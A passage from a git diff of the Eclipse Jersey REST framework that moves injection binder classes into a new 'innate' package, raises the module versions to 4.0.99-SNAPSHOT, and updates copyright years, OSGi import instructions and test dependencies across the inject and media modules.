+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.hk2;
+
+import org.glassfish.jersey.internal.inject.Binder;
+
+import java.util.Collection;
+
+/**
+ * Utility class which is able to install several binders and register them as a whole.
+ * <p>
+ * Created {@code Binder} is able to recursively register all injection binding descriptions in all installed binders.
+ *
+ * @author Petr Bouda
+ */
+public class CompositeBinder {
+
+    /**
+     * Creates {@code Binder} with provided binders.
+     *
+     * @param binders provided binder to install as a collection.
+     * @return composite binder.
+     */
+    public static Binder wrap(Collection<Binder> binders) {
+        return org.glassfish.jersey.innate.inject.CompositeBinder.wrap(binders);
+    }
+
+    /**
+     * Creates {@code Binder} with provided binders.
+     *
+     * @param binders provided binder to install as an array.
+     * @return composite binder.
+     */
+    public static Binder wrap(Binder... binders) {
+        return org.glassfish.jersey.innate.inject.CompositeBinder.wrap(binders);
+    }
+}
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/DelayedHk2InjectionManager.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/DelayedHk2InjectionManager.java
index 4423746..28c0464 100644
--- a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/DelayedHk2InjectionManager.java
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/DelayedHk2InjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,14 +21,14 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.Binder;
-import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 
 import org.glassfish.hk2.api.ServiceLocator;
 import org.glassfish.hk2.utilities.ServiceLocatorUtilities;
+import org.glassfish.jersey.internal.inject.Binding;
 
 /**
  * Implementation of {@link org.glassfish.jersey.internal.inject.InjectionManager} that is able to delay service's registration
@@ -37,7 +37,7 @@
  *
  * @author Petr Bouda
  */
-public class DelayedHk2InjectionManager extends AbstractHk2InjectionManager {
+public final class DelayedHk2InjectionManager extends AbstractHk2InjectionManager {
 
     // Keeps all binders and bindings added to the InjectionManager during the bootstrap.
     private final AbstractBinder bindings = new AbstractBinder() {
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2Helper.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2Helper.java
index bf3c229..4ff3b46 100644
--- a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2Helper.java
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2Helper.java
@@ -24,18 +24,17 @@
 import java.util.function.Supplier;
 
 import org.glassfish.hk2.api.Factory;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InjectionResolverBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.LocalizationMessages;
 import org.glassfish.jersey.internal.inject.AliasBinding;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.InjectionResolverBinding;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.PerLookup;
 import org.glassfish.jersey.internal.inject.PerThread;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
 import org.glassfish.hk2.api.ActiveDescriptor;
 import org.glassfish.hk2.api.DynamicConfiguration;
@@ -162,7 +161,7 @@
     @SuppressWarnings("unchecked")
     private static ActiveDescriptor<?> wrapInjectionResolver(InjectionResolverBinding resolverDescriptor) {
         InjectionResolverWrapper<?> wrappedResolver = new InjectionResolverWrapper<>(resolverDescriptor.getResolver());
-        return translateToActiveDescriptor(Bindings.service(wrappedResolver),
+        return translateToActiveDescriptor(org.glassfish.jersey.innate.inject.Bindings.service(wrappedResolver),
                 new ParameterizedTypeImpl(InjectionResolver.class, resolverDescriptor.getResolver().getAnnotation()));
     }
 
@@ -390,7 +389,7 @@
     }
 
     /**
-     * Creates a new binder and automatically use it to bind the the descriptors in {@code bindConsumer}.
+     * Creates a new binder and automatically use it to bind the descriptors in {@code bindConsumer}.
      *
      * @param bindConsumer consumer used to process the defined operation with a binder.
      * @return populated binder.
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2InjectionManagerFactory.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2InjectionManagerFactory.java
index ce30dd1..b9f07c4 100644
--- a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2InjectionManagerFactory.java
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/Hk2InjectionManagerFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,8 +19,8 @@
 import java.security.AccessController;
 
 import jakarta.annotation.Priority;
+import jakarta.ws.rs.core.Configuration;
 
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.InjectionManagerFactory;
 import org.glassfish.jersey.internal.util.PropertiesHelper;
@@ -73,6 +73,11 @@
         return initInjectionManager(getStrategy().createInjectionManager(parent));
     }
 
+    @Override
+    public InjectionManager create(Object parent, Configuration configuration) {
+        return create(parent); // ignore configuration for HK2
+    }
+
     /**
      * Check HK2 Strategy property {@link #HK2_INJECTION_MANAGER_STRATEGY} and returns {@code true} if the current HK2 Strategy is
      * "immediate".
diff --git a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/ImmediateHk2InjectionManager.java b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/ImmediateHk2InjectionManager.java
index 8d6ee81..eb52454 100644
--- a/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/ImmediateHk2InjectionManager.java
+++ b/inject/hk2/src/main/java/org/glassfish/jersey/inject/hk2/ImmediateHk2InjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2019 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,7 +27,7 @@
  *
  * @author Petr Bouda
  */
-public class ImmediateHk2InjectionManager extends AbstractHk2InjectionManager {
+public final class ImmediateHk2InjectionManager extends AbstractHk2InjectionManager {
 
     /**
      * Constructor with parent.
diff --git a/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/BindingTestHelper.java b/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/BindingTestHelper.java
index de42a63..8026ddf 100644
--- a/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/BindingTestHelper.java
+++ b/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/BindingTestHelper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,7 +18,6 @@
 
 import java.util.function.Consumer;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 
diff --git a/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/InjectionManagerTest.java b/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/InjectionManagerTest.java
index 57a5d49..2e5b756 100644
--- a/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/InjectionManagerTest.java
+++ b/inject/hk2/src/test/java/org/glassfish/jersey/inject/hk2/InjectionManagerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,8 +16,7 @@
 
 package org.glassfish.jersey.inject.hk2;
 
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
+import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 
@@ -54,7 +53,7 @@
 
     @Test
     public void testInjectionManagerParent() {
-        ClassBinding<EnglishGreeting> greetingBinding = Bindings.serviceAsContract(EnglishGreeting.class);
+        Binding greetingBinding = Bindings.serviceAsContract(EnglishGreeting.class);
         InjectionManager parentInjectionManager = Injections.createInjectionManager();
         parentInjectionManager.register(greetingBinding);
         parentInjectionManager.completeRegistration();
@@ -76,7 +75,7 @@
         InjectionManager injectionManager = Injections.createInjectionManager();
         assertTrue(injectionManager.isRegistrable(Binder.class));
         assertTrue(injectionManager.isRegistrable(AbstractBinder.class));
-        assertFalse(injectionManager.isRegistrable(org.glassfish.jersey.internal.inject.AbstractBinder.class));
+        assertFalse(injectionManager.isRegistrable(org.glassfish.jersey.inject.hk2.AbstractBinder.class));
         assertFalse(injectionManager.isRegistrable(String.class));
     }
 
diff --git a/inject/pom.xml b/inject/pom.xml
index 2e4f1a0..53987ba 100644
--- a/inject/pom.xml
+++ b/inject/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.inject</groupId>
diff --git a/media/jaxb/pom.xml b/media/jaxb/pom.xml
index 8e9cbb8..2665950 100644
--- a/media/jaxb/pom.xml
+++ b/media/jaxb/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-jaxb</artifactId>
@@ -89,7 +89,11 @@
                 <extensions>true</extensions>
                 <configuration>
                     <instructions>
-                        <Import-Package>jakarta.xml.bind.*;version="!",*</Import-Package>
+                        <Import-Package>
+                            jakarta.xml.bind.*;version="!",
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                         <Export-Package>org.glassfish.jersey.jaxb.*;version=${project.version}</Export-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbMessagingBinder.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbMessagingBinder.java
index 2cf6ce3..add3526 100644
--- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbMessagingBinder.java
+++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbMessagingBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,7 +25,7 @@
 import javax.xml.stream.XMLInputFactory;
 import javax.xml.transform.TransformerFactory;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.PerThread;
 
 /**
@@ -33,7 +33,7 @@
  *
  * @author Jakub Podlesak
  */
-public class JaxbMessagingBinder extends AbstractBinder {
+public class JaxbMessagingBinder extends InternalBinder {
 
     @Override
     protected void configure() {
diff --git a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbParamConverterBinder.java b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbParamConverterBinder.java
index e20aa22..6270670 100644
--- a/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbParamConverterBinder.java
+++ b/media/jaxb/src/main/java/org/glassfish/jersey/jaxb/internal/JaxbParamConverterBinder.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 
 /**
  * Binder for JAXB parameter converter.
@@ -30,7 +30,7 @@
  * @author Jakub Podlesak
  */
 @ConstrainedTo(RuntimeType.SERVER)
-public class JaxbParamConverterBinder extends AbstractBinder {
+public class JaxbParamConverterBinder extends InternalBinder {
 
     @Override
     protected void configure() {
diff --git a/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/FeatureAndPropertySupplierTest.java b/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/FeatureAndPropertySupplierTest.java
index 5079201..3f6a27f 100644
--- a/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/FeatureAndPropertySupplierTest.java
+++ b/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/FeatureAndPropertySupplierTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.jaxb.internal;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.PerThread;
 import org.glassfish.jersey.jaxb.FeatureSupplier;
diff --git a/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SaxParserFactoryInjectionProviderTest.java b/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SaxParserFactoryInjectionProviderTest.java
index be7cc9a..f647067 100644
--- a/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SaxParserFactoryInjectionProviderTest.java
+++ b/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SaxParserFactoryInjectionProviderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -35,9 +35,9 @@
 import jakarta.inject.Singleton;
 import javax.xml.parsers.SAXParserFactory;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.CompositeBinder;
 import org.glassfish.jersey.internal.inject.Binder;
-import org.glassfish.jersey.internal.inject.CompositeBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 import org.glassfish.jersey.internal.inject.PerThread;
diff --git a/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SourceProviderTest.java b/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SourceProviderTest.java
index 9f4fa5b..87e9b0e 100644
--- a/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SourceProviderTest.java
+++ b/media/jaxb/src/test/java/org/glassfish/jersey/jaxb/internal/SourceProviderTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,7 +28,7 @@
 import javax.xml.transform.sax.SAXSource;
 import javax.xml.transform.stream.StreamResult;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.message.internal.SourceProvider;
 
diff --git a/media/json-binding/pom.xml b/media/json-binding/pom.xml
index b07b09c..d314af0 100644
--- a/media/json-binding/pom.xml
+++ b/media/json-binding/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-binding</artifactId>
@@ -54,7 +54,11 @@
                 <configuration>
                     <instructions>
                         <Export-Package>org.glassfish.jersey.jsonb.*</Export-Package>
-                        <Import-Package>${jakarta.annotation.osgi.version},*</Import-Package>
+                        <Import-Package>
+                            ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
                 </configuration>
diff --git a/media/json-binding/src/test/java/org/glassfish/jersey/jsonb/internal/JsonbDisabledTest.java b/media/json-binding/src/test/java/org/glassfish/jersey/jsonb/internal/JsonbDisabledTest.java
index 7dc8a3f..6097365 100644
--- a/media/json-binding/src/test/java/org/glassfish/jersey/jsonb/internal/JsonbDisabledTest.java
+++ b/media/json-binding/src/test/java/org/glassfish/jersey/jsonb/internal/JsonbDisabledTest.java
@@ -17,7 +17,7 @@
 package org.glassfish.jersey.jsonb.internal;
 
 import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.InjectionManagerSupplier;
 import org.glassfish.jersey.internal.inject.Injections;
diff --git a/media/json-gson/pom.xml b/media/json-gson/pom.xml
index cc7a577..c0c2279 100644
--- a/media/json-gson/pom.xml
+++ b/media/json-gson/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-gson</artifactId>
@@ -54,7 +54,11 @@
                 <configuration>
                     <instructions>
                         <Export-Package>org.glassfish.jersey.gson.*</Export-Package>
-                        <Import-Package>${jakarta.annotation.osgi.version},*</Import-Package>
+                        <Import-Package>
+                            ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
                 </configuration>
diff --git a/media/json-jackson/pom.xml b/media/json-jackson/pom.xml
index fc8bafa..0fdeb2d 100644
--- a/media/json-jackson/pom.xml
+++ b/media/json-jackson/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-jackson</artifactId>
@@ -79,8 +79,7 @@
                         <Export-Package>org.glassfish.jersey.jackson.*</Export-Package>
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
-                            <!-- compatibility with GF 5.1 -->
-                            <!-- com.fasterxml.jackson.*;version="[2.9,3)", -->
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/JacksonFilteringFeature.java b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/JacksonFilteringFeature.java
index 0279b12..44d064c 100644
--- a/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/JacksonFilteringFeature.java
+++ b/media/json-jackson/src/main/java/org/glassfish/jersey/jackson/internal/JacksonFilteringFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.message.filtering.spi.ObjectGraphTransformer;
 import org.glassfish.jersey.message.filtering.spi.ObjectProvider;
 
@@ -47,7 +47,7 @@
         return false;
     }
 
-    private static final class Binder extends AbstractBinder {
+    private static final class Binder extends InternalBinder {
 
         @Override
         protected void configure() {
diff --git a/media/json-jackson1/pom.xml b/media/json-jackson1/pom.xml
deleted file mode 100644
index e69de29..0000000
--- a/media/json-jackson1/pom.xml
+++ /dev/null
diff --git a/media/json-jettison/pom.xml b/media/json-jettison/pom.xml
index c14c642..a397fff 100644
--- a/media/json-jettison/pom.xml
+++ b/media/json-jettison/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-jettison</artifactId>
@@ -56,11 +56,12 @@
                         <!-- Explicitly set versions for packages from GlassFish to allow future uptake of GlassFish 7.x-->
                         <Import-Package>
                             jakarta.xml.bind.*;version="[3.0,5)",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     
                         <Export-Package>org.glassfish.jersey.jettison.*</Export-Package>
-                        
+
                     </instructions>
                     <unpackBundle>true</unpackBundle>
                 </configuration>
diff --git a/media/json-processing/pom.xml b/media/json-processing/pom.xml
index 98f4ae2..31c1d08 100644
--- a/media/json-processing/pom.xml
+++ b/media/json-processing/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-json-processing</artifactId>
@@ -58,6 +58,7 @@
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
                             jakarta.json.*;version="[2,3)",
+                            ${jakarta.rest.osgi.version},
                             *
                         </Import-Package>
                     </instructions>
diff --git a/media/moxy/pom.xml b/media/moxy/pom.xml
index 90161de..5558c7b 100644
--- a/media/moxy/pom.xml
+++ b/media/moxy/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-moxy</artifactId>
@@ -56,7 +56,11 @@
                 <configuration>
                     <instructions>
                         <Export-Package>org.glassfish.jersey.moxy.*</Export-Package>
-                        <Import-Package>${jakarta.annotation.osgi.version},*</Import-Package>
+                        <Import-Package>
+                            ${jakarta.annotation.osgi.version},
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
                     </instructions>
                     <unpackBundle>true</unpackBundle>
                 </configuration>
@@ -90,11 +94,12 @@
             <artifactId>parsson</artifactId>
         </dependency>
         <dependency>
-            <groupId>org.ow2.asm</groupId>
-            <artifactId>asm</artifactId>
-            <version>${asm.version}</version>
+            <groupId>org.eclipse.persistence</groupId>
+            <artifactId>org.eclipse.persistence.asm</artifactId>
+            <version>${moxy.asm.version}</version>
         </dependency>
 
+
         <dependency>
             <groupId>jakarta.xml.bind</groupId>
             <artifactId>jakarta.xml.bind-api</artifactId>
diff --git a/media/moxy/src/main/java/org/glassfish/jersey/moxy/internal/MoxyFilteringFeature.java b/media/moxy/src/main/java/org/glassfish/jersey/moxy/internal/MoxyFilteringFeature.java
index 7c9d86a..936e15c 100644
--- a/media/moxy/src/main/java/org/glassfish/jersey/moxy/internal/MoxyFilteringFeature.java
+++ b/media/moxy/src/main/java/org/glassfish/jersey/moxy/internal/MoxyFilteringFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
 
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.message.filtering.spi.ObjectGraphTransformer;
 import org.glassfish.jersey.message.filtering.spi.ObjectProvider;
 
@@ -47,7 +47,7 @@
         return false;
     }
 
-    private static final class Binder extends AbstractBinder {
+    private static final class Binder extends InternalBinder {
 
         @Override
         protected void configure() {
diff --git a/media/multipart/pom.xml b/media/multipart/pom.xml
index 49d8114..334fd13 100644
--- a/media/multipart/pom.xml
+++ b/media/multipart/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.media</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-media-multipart</artifactId>
@@ -59,6 +59,15 @@
             <plugin>
                 <groupId>org.apache.felix</groupId>
                 <artifactId>maven-bundle-plugin</artifactId>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jakarta.rest.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                    <unpackBundle>true</unpackBundle>
+                </configuration>
                 <inherited>true</inherited>
             </plugin>
         </plugins>
@@ -92,7 +101,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
@@ -115,60 +124,11 @@
             <scope>test</scope>
         </dependency>
         <dependency>
-            <groupId>jakarta.xml.bind</groupId>
-            <artifactId>jakarta.xml.bind-api</artifactId>
-            <!--            <scope>provided</scope>-->
-            <!--            <optional>true</optional>-->
-        </dependency>
-        <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty</groupId>
-            <artifactId>jetty-client</artifactId>
+            <groupId>org.glassfish.jersey.connectors</groupId>
+            <artifactId>jersey-jetty-connector</artifactId>
+            <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
     </dependencies>
-    <!--<properties>
-        <surefire.coverage.argline>&#45;&#45;add-opens org.glassfish.jersey.media.multipart/org.glassfish.jersey.media.multipart=ALL-UNNAMED &#45;&#45;illegal-access=permit</surefire.coverage.argline>
-    </properties>-->
 
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty11</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.glassfish.jersey.connectors</groupId>
-                    <artifactId>jersey-jetty-connector</artifactId>
-                    <version>${project.version}</version>
-                    <scope>test</scope>
-                </dependency>
-            </dependencies>
-        </profile>
-    </profiles>
 </project>
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamInjectionFeature.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamInjectionFeature.java
index 843473b..c1f9ddf 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamInjectionFeature.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamInjectionFeature.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
